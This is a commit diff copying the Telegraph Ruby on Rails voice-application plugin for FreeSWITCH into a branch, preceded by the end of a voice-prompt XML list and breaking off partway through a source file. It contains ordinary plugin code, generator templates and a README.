+      <prompt phrase="greeting" filename="vm-greeting.wav"/>
+      <prompt phrase="selected" filename="vm-selected.wav"/>
+      <prompt phrase="is not available" filename="vm-not_available.wav"/>
+      <prompt phrase="message number" filename="vm-message_number.wav"/>
+      <prompt phrase="deleted" filename="vm-deleted.wav"/>
+      <prompt phrase="Your recording is below the minimum acceptable length, please try again" filename="vm-too-small.wav"/>
+      <prompt phrase="in folder inbox" filename="vm-in_folder.wav"/>
+      <prompt phrase="to return the call now" filename="vm-return_call.wav"/>
+      <prompt phrase="urgent" filename="vm-urgent.wav"/>
+    </voicemail>
+    <conference>
+      <prompt phrase="NULL" filename="conf-ack.wav" type="tone"/>
+      <prompt phrase="NULL" filename="conf-nack.wav" type="tone"/>
+      <prompt phrase="You are now muted." filename="conf-muted.wav"/>
+      <prompt phrase="You are now unmuted." filename="conf-unmuted.wav"/>
+      <prompt phrase="You are currently the only person in this conference." filename="conf-alone.wav"/>
+      <prompt phrase="NULL" filename="conf-perpetual.wav" type="music"/>
+      <prompt phrase="NULL" filename="conf-enter.wav" type="tone"/>
+      <prompt phrase="NULL" filename="conf-exit.wav" type="tone"/>
+      <prompt phrase="You have been kicked from this conference." filename="conf-kicked.wav"/>
+      <prompt phrase="This conference is locked." filename="conf-locked.wav"/>
+      <prompt phrase="The conference is now locked." filename="conf-is-locked.wav"/>
+      <prompt phrase="The conference is now unlocked." filename="conf-is-unlocked.wav"/>
+      <prompt phrase="Please enter the conference pin number." filename="conf-pin.wav"/>
+      <prompt phrase="Invalid pin number, try again." filename="conf-bad-pin.wav"/>
+      <prompt phrase="goodbye" filename="conf-goodbye.wav"/>
+      <prompt phrase="Welcome to the conference." filename="conf-welcome.wav"/>
+    </conference>
+    <ivr>
+      <prompt phrase="Account number" filename="ivr-account_number.wav"/>
+      <prompt phrase="Connect to caller" filename="ivr-connect_to_caller.wav"/>
+      <prompt phrase="If you know your party's extension, please enter it now" filename="ivr-enter_ext_pound.wav"/>
+      <prompt phrase="Please enter an extension followed by the pound sign" filename="ivr-enter_ext.wav"/>
+      <prompt phrase="For this person" filename="ivr-for_this_person.wav"/>
+      <prompt phrase="Please hold while I connect your call" filename="ivr-hold_connect_call.wav"/>
+      <prompt phrase="I'm sorry" filename="ivr-im_sorry.wav"/>
+      <prompt phrase="Please" filename="ivr-please.wav"/>
+      <prompt phrase="Please return our call at" filename="ivr-please_return_our_call_at.wav"/>
+      <prompt phrase="Regarding reference number" filename="ivr-regarding_reference_number.wav"/>
+      <prompt phrase="This is a sample IVR submenu..." filename="ivr-sample_submenu.wav"/>
+      <prompt phrase="Please say your name after the tone" filename="ivr-say_name.wav"/>
+      <prompt phrase="Send this caller to voicemail" filename="ivr-send_to_voicemail.wav"/>
+      <prompt phrase="To speak to a customer service representative" filename="ivr-speak_to_a_customer_service_representative.wav"/>
+      <prompt phrase="Take a message" filename="ivr-take_a_message.wav"/>
+      <prompt phrase="Thank you" filename="ivr-thank_you.wav"/>
+      <prompt phrase="That was an invalid entry" filename="ivr-that_was_an_invalid_entry.wav"/>
+      <prompt phrase="This is a call from" filename="ivr-this_is_a_call_from.wav"/>
+      <prompt phrase="This IVR will let you test some of the features..." filename="ivr-this_ivr_will_let_you_test_features.wav"/>
+      <prompt phrase="To call the FreeSWITCH conference" filename="ivr-to_call_the_freeswitch_conference.wav"/>
+      <prompt phrase="To do a FreeSWITCH echo test" filename="ivr-to_do_a_freeswitch_echo_test.wav"/>
+      <prompt phrase="To do a fwd echo test" filename="ivr-to_do_a_fwd_echo_test.wav"/>
+      <prompt phrase="To hear a sample IVR submenu" filename="ivr-to_hear_sample_submenu.wav"/>
+      <prompt phrase="To hear screaming monkeys" filename="ivr-to_hear_screaming_monkeys.wav"/>
+      <prompt phrase="To list to music on hold" filename="ivr-to_listen_to_moh.wav"/>
+      <prompt phrase="To repeat these options" filename="ivr-to_repeat_these_options.wav"/>
+      <prompt phrase="To return to the previous menu" filename="ivr-to_return_to_previous_menu.wav"/>
+      <prompt phrase="To speak with an operator" filename="ivr-to_speak_with_an_operator.wav"/>
+      <prompt phrase="Welcome to FreeSWITCH, the future of telephony" filename="ivr-welcome_to_freeswitch.wav"/>
+      <prompt phrase="You may exit at any time by simply hanging up" filename="ivr-you_may_exit_by_hanging_up.wav"/>
+      <prompt phrase="or" filename ="ivr-or.wav"/>
+      <prompt phrase="not" filename ="ivr-not.wav"/>
+      <prompt phrase="call" filename ="ivr-call.wav"/>
+      <prompt phrase="You may" filename ="ivr-you_may.wav"/>
+      <prompt phrase="hello" filename="ivr-hello.wav"/>
+      <prompt phrase="Using your telephone keypad..." filename="ivr-use_telephone_keypad.wav"/>
+      <prompt phrase="please spell the name of the person you are trying to reach." filename="ivr-spell_name.wav"/>
+      <prompt phrase="Last name first" filename="ivr-last_name_first.wav"/>
+      <prompt phrase="First name first" filename="ivr-first_name_first.wav"/>
+      <prompt phrase="Press 1 for Q or Z." filename="ivr-press_one_q_or_z.wav"/>
+      <prompt phrase="Sales" filename="ivr-sales.wav"/>
+      <prompt phrase="Customer service" filename="ivr-customer_service.wav"/>
+      <prompt phrase="Technical support" filename="ivr-technical_support.wav"/>
+      <prompt phrase="Operator" filename="ivr-operator.wav"/>
+    </ivr>
+    <misc>
+      <prompt phrase="This call has been secured" filename="call_secured.wav"/>
+      <prompt phrase="Followed by pound" filename="followed.wav"/>
+      <prompt phrase="If you are this person" filename="if_you_are_this_person.wav"/>
+      <prompt phrase="If you would like to" filename="if_you_would_like_to.wav"/>
+      <prompt phrase="Provide reference number" filename="provide_reference_number.wav"/>
+      <prompt phrase="Please enter extension you want to transfer to" filename="transfer1.wav"/>
+      <prompt phrase="Transfer" filename="transfer2.wav"/>
+      <prompt phrase="We are trying to reach" filename="we_are_trying_to_reach.wav"/>
+      <prompt phrase="An error has occurred please contact the administrator" filename="error.wav"/>
+    </misc>
+  </en>
+</language>

Copied: freeswitch/branches/seven/contrib/jpalley (from rev 14471, freeswitch/trunk/contrib/jpalley)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/README

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/README (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+Telegraph for FreeSWITCH
+Please see http://developer.idapted.com/plugins/telegraph for more information
+
+Telegraph allows you to write MVC voice application in Ruby on Rails that tightly integrate with the web.  In our second release we go FreeSWITCH (the new OSS carrier grade switch) and Rails 2.1.  Here's the details:
+
+For the FreeSWITCH fan:
+ - Complete implementation of Outbound Socket, Event (Inbound) Socket and XML-RPC
+ - ORM (ActiveRecord) like wrappings around the XML-RPC.  Do things like VoiceChannel.find(uuid).destroy to hangup a channel or Conference.find(conf_id).members.first.mute? to see if the first member of a conference is muted.
+ - Event socket routing to different code modules. Allows events related to one set business logic go to one codebase and another set go to another.  No more if..thens..
+ - Easy to read "voice view" syntax for outbound socket.
+ - Complete integration with Ruby on Rails and all of its database logic.
+ - Easy to deploy, log and maintain.
+
+For the Ruby/Rails fan:
+  - Voice code fits right into your usual MVC patterns.  
+		- Originate/destroy/change calls, conferences and sip settings just like you'd manipulate database tables.
+		- Write voice_views like you write html/js/xml views.  Use respond_to blocks to share application logic between web/voice interfaces.
+	- Write a callback application in only a few lines of code.
+	- Need to understand VoIP kept to a minimum.
+	
+For The Sys Admin:
+	- Easy to deploy, daemonize
+	- Based on EventMachine - the super solid and fast networking library
+	
+  
+		
+		
+
+
+

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/Rakefile

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/Rakefile (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/Rakefile) ( => )



Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_events_controller)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/routes.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/routes.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/routes.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/routes.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/routes.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+# Use this to route events to various voice events controller based on parameters sent in the event.
+# See example below
+class VoiceEventsRouter
+  def self.route(map)
+    
+#    Example of how to connect a route based on params sent my Voice Server
+#     map.connect :dialer do |params|
+#       MyModel.find_by_uuid(params[:caller_unique_id])  or params[:job_command_arg] =~ /dialers/
+#    end
+    
+    map.default :<%= file_name %>
+    
+  end
+  
+  def self.filter(params)
+    return true
+  end
+  
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/voice_events.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/voice_events.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/voice_events.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/voice_events.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/templates/voice_events.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+class <%= class_name %>VoiceEvents < Telegraph::Core::VoiceEventsBase
+# Common events are commented below
+
+# Background job is called as a result of VoiceChannelModel.create and will have the uuid of the call
+#  def background_job
+#  end
+  
+# Called on hangup
+#  def channel_hangup
+#  end
+  
+# Called when two channels are bridged
+#  def channel_bridge
+#  end
+  
+# When a sip user registers (watch out..every time the register is called this fires..not just the first time)
+#  def custom_sofia_register
+#  end
+  
+# When a sip user unregisters
+#  def custom_sofia_unregister
+#  end
+  
+# When a sip user is expired.
+#  def custom_sofia_expire
+#  end
+  
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/voice_events_controller_generator.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/voice_events_controller_generator.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/voice_events_controller_generator.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/voice_events_controller_generator.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_events_controller/voice_events_controller_generator.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+class VoiceEventsControllerGenerator < Rails::Generator::NamedBase
+  def manifest
+    puts self.class_name
+    record do |m|
+      m.directory File.join('app/voice_events')
+      routes_path = File.join('app/voice_events', 'routes.rb')
+      m.template ("routes.rb", routes_path) unless File.exists?(routes_path)
+      m.template "voice_events.rb", File.join('app/voice_events', "#{file_name}_voice_events.rb")
+    end
+  end
+end

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_model)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/templates (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_model/templates)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/templates/model.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/templates/model.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_model/templates/model.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/templates/model.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/templates/model.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+class <%= model_name.camelize %> < Telegraph::FreeSWITCH::Voice<%= model_type.camelize %>Model
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/voice_model_generator.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/voice_model_generator.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/generators/voice_model/voice_model_generator.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/voice_model_generator.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/generators/voice_model/voice_model_generator.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+class VoiceModelGenerator < Rails::Generator::NamedBase
+  def initialize(runtime_args, runtime_options = {})
+    super
+    @model_type = runtime_args.shift.downcase
+    @model_name = runtime_args.shift
+  end
+  def manifest
+    raise "Invalid Voice Model Name" unless %w{channel sip conference}.include?(@model_type)
+    
+    record do |m|
+      m.directory File.join('app/models')
+      m.template "model.rb", File.join('app/models', "#{@model_name.tableize.singularize}.rb"), :assigns=>{:model_type=>@model_type, :model_name=>@model_name}
+    end
+  end
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/init.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/init.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/init.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/init.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/init.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+#Core modules
+require 'core/telegraph'
+
+#Load the voice model
+require 'freeswitch/voice_model/voice_connector'
+require 'freeswitch/voice_model/voice_channel_model'
+require 'freeswitch/voice_model/voice_sip_model'
+require 'freeswitch/voice_model/voice_conference_model'
+
+#Connect to server...
+Telegraph::FreeSWITCH::VoiceConnector.load_configuration_and_connect!
+

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/install.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/install.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/install.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/install.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/install.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+# Copy server files into script/server
+require 'ftools'
+
+dir = File.dirname(__FILE__)
+
+#Copy script files
+%w{voice_view voice_events}.each do |f|
+  dest = "#{dir}/../../../script/#{f}"
+  File.copy "#{dir}/lib/#{f}", dest
+  File.chmod 0755, dest
+end
+
+#Copy configuration
+File.copy "#{dir}/lib/telegraph.yml", "#{dir}/../../../config/telegraph.yml"
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/logger_overide.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/logger_overide.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/logger_overide.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/logger_overide.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/logger_overide.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+module Rails
+  class Configuration
+  
+    private
+      def default_log_path
+        ENV['LOG_FILE_PATH']
+      end
+   end
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/script_base.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/script_base.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/script_base.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/script_base.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/script_base.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,181 @@
+require 'optparse'
+require 'ostruct'
+require 'pp'
+require 'rubygems'
+
+module Telegraph
+  class ScriptOptions
+    def self.parse(args, process)
+      options=OpenStruct.new
+      options.daemonize = false
+      options.pid_file = "log/#{process}_server.pid"
+      options.environment = "development"
+      options.cwd = Dir.pwd
+      options.action = 'start'
+      options.debug = false
+      options.verbose = false
+      opts = OptionParser.new do |opts|
+        opts.banner = "Usage: #{process} [options]"
+        opts.separator  ""
+        opts.separator "Specific options:"
+
+        opts.on('-d', '--daemon', 'Run as daemon', 'runs in shell by default') do |ext|
+          options.daemonize=true
+        end
+        opts.on('-p','--pid FILE', 'PID File', 'Defaults to log directory') do |ext|
+           options.pid_file = ext
+        end
+        opts.on('-e','--environment ENV', "Rails environment to run as") do |ext|
+          options.environment = ext
+        end
+        opts.on('-a', '--action [TYPE]', [:start, :stop], "Action To Do") do |action|
+          options.action = action
+        end
+        opts.on('-C PATH', 'Change dir before starting') do |path|
+          options.cwd = path
+        end
+        opts.on('-v', '--verbose', 'Log Voice Server Lines') do |verbose|
+          options.verbose = true
+        end
+        opts.on('-l', '--list', 'Answer to All Events') do |debug|
+          options.debug = true
+        end
+      end
+
+      opts.parse!(args)
+      options
+    end
+  end
+
+  class ScriptHandler
+     def initialize(process, &block)
+       @process_name = process
+       @options=ScriptOptions.parse(ARGV, process)
+       @pid_file =File.join(@options.cwd, @options.pid_file)
+       if @options.action == 'start'
+          self.start &block
+       else
+         self.stop
+        end
+     end
+
+     def start
+    
+        log "Starting Server"
+        ENV["RAILS_ENV"]=@options.environment
+
+
+       @log_file = File.expand_path(File.join(File.dirname(__FILE__), "/../../../../../log/#{@process_name}_#{@options.environment}.log"))
+        
+        log "Logging at #{@log_file}"
+
+        if @options.daemonize
+           if File.exists?(@pid_file)
+              log "PID File Already Exists!  Exiting..."
+              exit
+            else
+              daemonize
+              write_pid_file
+            end
+         end
+        setup_signals
+
+
+        require File.dirname(__FILE__) + '/../../../../../config/boot'
+        
+        #Surely a better way to do this...
+        ENV['LOG_FILE_PATH'] = @log_file
+        require File.dirname(__FILE__) + '/../../../../../vendor/plugins/telegraph/lib/core/logger_overide'
+
+        require RAILS_ROOT + "/config/environment"
+
+        require 'commands/servers/base'
+
+        ActiveRecord::Base.allow_concurrency = true #Prevents connection from dieing...
+        require 'eventmachine'
+        
+        tail_thread = tail(Pathname.new(@log_file).cleanpath) unless @options.daemonize
+      
+       
+         begin
+            yield @options.verbose, @options.debug
+         ensure
+          tail_thread.kill if tail_thread
+           log 'Exiting'
+         end
+    
+ 
+     end
+     def stop
+      send_signal("INT", @pid_file)    
+     end
+
+     def kill
+       log "Exiting..."
+       File.unlink(@pid_file) if @pid_file and File.exists?(@pid_file)
+      #Need to do this twice as voice_events catches it...
+      exit!
+     end
+
+     def setup_signals
+     # forced shutdown, even if previously restarted (actually just like TERM but for CTRL-C)
+         # clean up the pid file always
+        at_exit { 
+          log "Exiting..."
+          File.unlink(@pid_file) if @pid_file and File.exists?(@pid_file) 
+          }
+      
+           trap("INT") { log "INT signal received."; kill}
+          if RUBY_PLATFORM !~ /mswin/
+            # graceful shutdown
+            trap("TERM") { log "TERM signal received."; kill }
+            log "Signals ready.  TERM => stop. INT => stop (no restart)."
+          end
+   
+   
+     end
+     def send_signal(signal, pid_file)
+     begin 
+       pid = open(pid_file).read.to_i
+       print "Sending #{signal} to #{@options.process} at PID #{pid}..."
+       Process.kill(signal, pid)
+     rescue Errno::ESRCH
+       print "Process does not exist.  Not running."
+     rescue Errno::ENOENT
+        print "No .pid file.  Not shutting down"
+      end
+  
+      puts "Done."
+      end
+     def log(msg)
+ #      STDERR.print "** ", msg, " **\n"
+        puts "** #{msg} **"
+     end
+   
+    # Writes the PID file but only if we're on windows.
+     def write_pid_file
+       log "Write pid"
+       log @pid_file
+     
+       if RUBY_PLATFORM !~ /mswin/
+          open(@pid_file,"w") {|f| f.write(Process.pid) }
+       end
+     end
+    def daemonize(options={})
+       #ops = resolve_defaults(options)
+        # save this for later since daemonize will hose it
+        if RUBY_PLATFORM !~ /mswin/
+          require 'daemons/daemonize'
+          log 'daemonizing!'
+          Daemonize.daemonize(@log_file)
+
+          #log File.join(@options.cwd, @options.pid_file)
+          # change back to the original starting directory
+          Dir.chdir(@options.cwd)
+        else
+          log "WARNING: Win32 does not support daemon mode."
+        end
+      end
+
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/telegraph.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/telegraph.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/telegraph.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/telegraph.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/telegraph.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+Mime::Type.register "telegraph/voice", :voice
+module Telegraph
+  def self.config
+    rails_config = File.join(RAILS_ROOT, 'config/telegraph.yml')
+    if File.exist?(rails_config)
+      yml = YAML.load(File.open(rails_config))
+    else
+      yml = YAML.load(File.open(File.join(RAILS_ROOT, 'vendor/plugins/telegraph/lib/telegraph.yml')))
+    end
+    
+    config = yml[RAILS_ENV].nil? || yml[RAILS_ENV].empty? ? yml['development'] : yml[RAILS_ENV]
+    return config
+  end
+  
+  def self.logger 
+    RAILS_DEFAULT_LOGGER
+  end
+  
+  def self.log(txt)
+    puts "#{Time.now.utc.to_s(:long)}: #{txt}\n"
+  end
+end
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_events)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/router.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/router.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_events/router.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/router.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/router.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+module Telegraph
+  module Core
+    class Router
+      def initialize
+        @routes = []
+      end
+      
+      def connect(name, &block)
+        @routes << {:controller=>name, :block=>block}
+      end
+      
+      def default(name)
+        @routes << {:controller=>name, :block=>nil}
+      end
+      
+      
+      def dispatch!(event_name, params)
+        controller_name = @routes.detect{|r| 
+          r[:block].nil? || r[:block].call(params)}
+        raise("No Route For Event: #{event_name}\n\nPARAMS:\n#{params.inspect}") if controller_name.nil?
+        controller_name=controller_name[:controller]
+        controller = controller_from_name(controller_name)
+        controller.params = params
+        controller.send(event_name.to_sym)
+      end
+      
+      def used_events
+        @routes.map{|r| controller_from_name(r[:controller]).methods}.flatten - Telegraph::Core::VoiceEventsBase.new.methods
+      end
+      
+      private
+      def controller_from_name(name)
+        "#{name}_voice_events".camelize.constantize.new
+      end
+    end
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/voice_events_base.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/voice_events_base.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_events/voice_events_base.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/voice_events_base.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_events/voice_events_base.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+module Telegraph
+  module Core
+    class VoiceEventsBase
+      attr_accessor :params
+
+      def initialize
+        @params = nil
+      end
+
+    end
+  end
+end
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/action_controller_extensions.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/action_controller_extensions.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view/action_controller_extensions.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/action_controller_extensions.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/action_controller_extensions.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+module ActionController
+  class Base
+    def render_voice(&block)
+      response.interface.controller = self
+      begin
+        yield response.interface
+      end
+      @performed_render = true
+    end
+
+    #generic action that can be used to detect hangups
+    def call_hung_up
+      if respond_to?(:hung_up)
+        hung_up
+      end
+    end
+
+    #used to update session before action completes
+    def update_session(key,val)
+      session[key]=val
+      session.update
+    end
+  end
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/dispatcher.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/dispatcher.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view/dispatcher.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/dispatcher.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/dispatcher.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+module Telegraph
+  module VoiceView
+    class StdOutEmulator
+        def write(str)
+        end
+    end
+    class Dispatcher
+      attr_accessor :request
+      attr_accessor :response
+      attr_accessor :params
+      
+      require 'action_controller/dispatcher'
+      
+      def dispatch(interface)
+         ENV['REQUEST_METHOD'] = "post"
+ 
+         @cgi=CGI.new
+         @request = Telegraph::VoiceView::Request.new(interface,@cgi,nil,nil,ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)  
+
+         @response = Telegraph::VoiceView::Response.new(interface)
+        
+         prepare_application
+            
+         ActionController::Routing::Routes.recognize(@request)
+
+         # bit of a hack.  Need to setup next_action/next_controller
+         
+         @request.next_action = @request.parameters['action']
+         @request.next_controller = @request.parameters['controller'].camelize + 'Controller'
+         
+                    
+          #Loops until we are done executing all the actions for this call
+          while @request.next_action !=nil do
+            path_params={:action=>@request.next_action, :controller=>@request.next_controller}
+            @request.path_parameters = path_params
+            @request.next_action=nil
+            ActionController::Dispatcher.new(StdOutEmulator.new, @request, @response).dispatch
+            #Check for errors
+      
+            if @response.headers['Status'] == "500 Internal Server Error" or @response.headers['Status'] == "406 Not Acceptable"
+              @request.interface.hangup
+              break
+            end
+
+          end
+          
+          return @response.commands
+          
+      end
+      
+      def prepare_application
+          ActionController::Routing::Routes.reload if Dependencies.load?
+          require_dependency('application.rb') unless Object.const_defined?(:ApplicationController)
+          ActiveRecord::Base.verify_active_connections!
+      end
+    end
+  end
+end
+        
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/interface.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/interface.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view/interface.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/interface.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/interface.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,166 @@
+module Telegraph
+  module VoiceView
+    class Form
+       attr_accessor :elements
+       def initialize
